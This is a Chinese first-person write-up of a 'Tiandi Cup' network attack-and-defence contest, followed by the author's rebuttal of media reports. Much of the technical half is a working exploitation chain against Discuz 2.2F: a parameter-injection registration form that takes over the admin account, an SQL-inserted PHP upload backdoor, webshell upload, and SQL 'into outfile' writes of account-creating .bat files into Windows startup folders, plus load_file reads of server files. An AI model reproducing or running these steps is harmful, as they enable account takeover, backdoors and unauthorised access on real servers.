估计大家都知道成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。
首先说说这次的攻击环境:
Web 服务器( 172.16.0.125 )
系统: Windows Server 2003 / Apache 1.3.31
打开端口:80、3389
Web 程序:Discuz 2.2F
MySQL 服务器( 172.16.0.119 )
系统: Windows Server 2003 / Mysql 4.0.21
打开端口: 3306、3389
注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。
尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。
经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。
我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:
<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>
这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。
register.php 的代码中有如下代码:
$email = trim($email);
if(!$doublee && strstr($email, ’@’)) {
$emailadd = "OR email=’$email’";
}
这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=’$email’" ,为后面的 SQL 语句做准备。往下有一段代码如下:
$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username=’$username’ $emailadd ");
if($db->result($query, 0)) {
showmessage(’profile_account_duplicate’);
}
默认 $emailadd = "OR email=’$email’" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”
利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email=’$email’" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。
<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">
然后这个语句到了上面的 SQL 语句那里,就变成:
SELECT COUNT(*) FROM $table_members WHERE username=’$username’ and uid=100000
既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过
if($db->result($query, 0)) {
showmessage(’profile_account_duplicate’);
}
直接到达这里插入记录:
$db->query("INSERT INTO $table_members (........) VALUES (........)");
也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。
UPDATE $table_members SET ...... WHERE username=’$discuz_user’
直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……
我顺利提升了自己论坛用户的权限,能进入后台以后,我们可以做的事情就多了,插入记录,导出文件,就可以写文件在硬盘了,由于不知道 Web 目录路径,所以不能用 select….into outfile 导出文件,而且此时数据库与 WEB 服务器是分开的,即使导文件也是导出在 MYSQL 服务器上。不过还是有办法,我马上在“数据库升级那里”执行:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES (’’, ’0’, ’’, ’’, ’<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>’, ’’);
黑体部分是我写的后门代码,然后选择数据库备份最小备份,把扩展名改成 .php ,备份后我们就可以上传文件到 forumdata 目录了,可能有不少新手会问,我怎么这么了解?因为我以前用过 Discuz 论坛,研究过这个论坛,所以对这个论坛还是十分熟悉的,如果有谁不懂可以直接搭建环境来测试。
然后本地再写一个表单用于上传文件:
<form ENCTYPE="multipart/form-data" ACTION="http://172.16.0.125/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
我们上传了一个 phpspy 上去,上去后,我要做的事就只有一件,就是把 register.php 文件的漏洞给补上,直接把
$email = trim($email);
if(!$doublee && strstr($email, ’@’)) {
$emailadd = "OR email=’$email’";
}
改为:
$emailadd = "OR email=’$email’";
断绝其他对手的后路,我们再多传几个 phpspy ,让我们的队员慢慢玩,查看 config.php 文件,看到了 MySQL 服务器地址( 172.16.0.119 )和 root 用户的密码,原来密码是 fuck_Mysql ,用这个密码试了试 MySQL 服务器的管理员,失败。还有 phpmyadmin 的地址,原来是 php32 目录。查看了一下 php 配置,配置还不错,挺仔细的,可惜我的 phpspy 还是可以利用 webshell 功能成功的添加了系统帐号并提升到管理员权限,成功登陆 3389 ,注意,由于 Windows Server 2003 的安全机制,不是 Administrators 组的用户是不能登陆 3389 的,查看了一些基本的配置后,看到 EffeTech HTTP Sniffer ,原来剑客一直在注意我呢,哈哈,在桌面留个文件和他打个招呼,表示一下晚辈对前辈的尊重。
然后继续查看,这个 Web 服务器的机器名是 SQL!!?? 郁闷,难道 MySQL 服务器是 WEB ?大胆这样猜想,结果没错。以前不记得哪个鸟人说过 MySQL 功能连 ACCESS 都比不了,这次的功劳最大就是 MySQL 了,不然真的不能拿到我们的文件了。即使能用同样的办法传东西到 119 服务器,也没有办法执行,我们只有采用被动式的攻击方法,写文件到管理员的启动组,因为以前我们试过,只能写一行进去,所以如果我们添加用户并提升权限要启动两次,仅仅重新启动还不行,还要管理员登陆才行。
也只有这条路了,说做就做,还是在论坛后台的数据库升级那里执行,其实在 phpmyadmin 或者 phpspy 都可以执行 SQL 语句,我懒得开其他两个了。
CREATE TABLE shell ( shell TEXT NOT NULL );# 建立 shell 表和一个文本型的 shell 字段
INSERT INTO shell ( shell ) VALUES (’net user small_a 4ngel /add
’);# 注意 /add 后面有回车,但是却不能继续再加一行,加了会连在一起。既然能回车却不能加新行,奇怪。哪位大哥可以解释一下?
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\add.bat’;# 记得给“ \ ”转义
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\add.bat’;# 多添加几个地方。
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\add.bat’;# 真的存在这个目录,说明之前我们没有猜错这个机器的名字就是 WEB ,真是够精的,把机器名和相应的服务器互换。
然后我就修改论坛的 config.php 文件的 IP 地址,就对管理员说,论坛的数据库连接不上了,你给重新启动一下,很快,我们用 3389 登陆的时候,就发现提示不允许交互,看来用户是添加了的。只是由于权限不够,不能登陆。再来一次,清空 shell 数据表以后,再执行:
INSERT INTO shell ( shell ) VALUES (’net localgrorp administrators small_a /add
’);
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\up.bat’;
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\up.bat’;
SELECT * FROM shell into outfile ’C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\up.bat’;
再用老办法叫管理员重新启动,结果剑客发觉了我们的企图,叫管理员重新登陆后不要登陆,我靠,我们也不是吃素的对吧?说论坛不能访问叫我们怎么搞啊?哈哈,服务器管理员还是老老实实登陆,等啊等啊,我们终于可以用我们自己添加的用户登陆了,看到了 D 盘下面的三个冠、亚、季军的文件,我们一起拿下吧。刚准备拿,结果 119 服务器的 3389 被我们的对手 D 了,而且还伪造 IP ,这是我们小组的其他队员截获的数据显示的。他们并不是也拿下了 WEB 服务器,而是他们有人跑过来偷看我们的屏幕得知的地址,强烈鄙视这种行为, D 吧 D 吧,不就是 D3389 端口嘛,反正我知道了文件名,现在胜利也离我们不远了。就在快 1 个小时也就是快 11 点的时候,我从容地打开 phpmyadmin ,在 SQL 里执行:
SELECT load_file(’d:/金牌专家.txt’)# 晕!这个居然显示空!权限不够,继续。
SELECT load_file(’d:/银牌专家.txt’)# 显示“祝贺,你已经是银牌专家了!”
SELECT load_file(’d:/铜牌专家.txt’)# 显示“不错不错,你已经是铜牌专家了!”
就这样,其实在 11 点以前我们就拿到了亚军和季军,但是由于对手无耻的偷看行为,导致我们被迫断下 119 服务器的终端。他们一直D ,强烈鄙视这种偷窥行为。剑客也修改了 MYSQL 服务器的 IP ,但没有修正论坛的 IP 信息,我还是无法知道地址,趁吃饭的时候,其中一个队员就用自己写的端口扫描器扫描整个 C 段开了 3306 的主机,结果找到一台,目标就是他,由于之前服务器的 3389 被 D 挂了,我们都是第一次碰到这种情况,主机没挂,服务挂了。结果一直等到 1 点多,剑客才重新启动。我们才顺利的修改了“d:/金牌专家.txt ”这个文件的权限,看到了文件的内容,就顺利拿到了 3 个文件。
整个过程也就完了,技术含量不算高。我觉得重要的是思路和系统的一些常识,特别是 Windows server 2003 和 Apache 这种奇怪的搭配……
个人评论
首先对某些媒体的报道,我觉得有必要澄清一下,四川的《华西都市报》(原文各大新闻网有转载)报道有人控制了网吧内的 100 台电脑,完全是炒作,真相是那人用“网络执法官”那类工具进行 ARP 欺骗,导致外边的大量电脑无法上网,人家在打怪升级呢,怎么能不暴动?
其次还是这篇报道说的“比赛于 10:00 开始,到什么时候结束,谁也不知道,因为今天前来参赛的全是高手,若双方“武功”都到了炉火纯青的地步,往往对战数日,仍是难分高下。”完全属于炒作!
比赛当天根本就没有什么高手,还有人用流光、自动攻击机、冰河这种老古董来玩,实在没办法了就登陆 3389 手工试空口令,本来收到消息 cnhonker 的人会来,谁知道影子都不见一个,据我们掌握的资料,cnhonker 在四川根本没有核心成员。让我们失望而终。
最令我们气愤的是还是这篇报道,说“西南民族大学的马某在比赛结束后告诉记者,他和队友在昨日凌晨 3 点才休息,而且专门为此次比赛而攻击了一家类似于此次比赛服务器的网站,而且成功得手,没有想到,在比赛中却“ 铩羽而归 ”,他坦言,对方 6 名成员分工详细,占了不少便宜,但是最终失利的原因则在于他们准备不充分,而且比赛的时候动作慢了一拍。”
完完全全吹牛、放屁!这个学校居然出这种人品败坏的学生,现在 WEB 服务器和数据库服务器分开的主机很多,但是和 mysql 分开的却很少,而且由于 MYSQL 和 MSSQL 的差异也导致攻击方法不同,如果真如报道所说,成功攻击了类似于此次服务器的网站,试问该学生如何知道此次比赛的网络环境??
更可耻的是居然说比我们慢半拍!我们从开始到结束,一直有人在终端上观察,除了我们,没有任何人登陆这两台服务器的 3389,也没有添加任何系统用户和上传任何文件,根本就是除了我们队员 6 人,其他选手都被服务器完全拒之门外,毫无进展,何来慢半拍?技术不行就是不行,还好意思心口开河?自己学校的网站服务器被放了后门都不知道。我们全体小组成员强烈鄙视这种厚颜无耻的参赛选手!也希望以后再有类似比赛,希望该报社派稍微懂电脑的记者前往。
还有些人说由于带错工具,所以失败了,我想说:工具只是武器,技术才是灵魂。技术和工具是没有直接关系的。
此次比赛后,有不少人称我们为“第四代黑客”,我认为也是不合适的,电子科技大学信息安全所所长范明钰教授说:“今天参加比赛的黑客被称为‘第四代黑客’,因为他们所用的工具大多数都是在前几代黑客的研究基础上设计的。当然,也有不少人‘内功’深厚,可以自己编写攻击工具的基础程序,但并没有在此次比赛中过多使用。”
我想说的是:此次比赛,我们比赛过程中用到的 phpspy 是我本人独立开发的,端口扫描器也是其中一个队员自己写出来的,我们的工具都是自己写的,怎么说是用前几代黑客的呢?说我们是第四代黑客更是不敢当!参加这次比赛是挺郁闷的啊。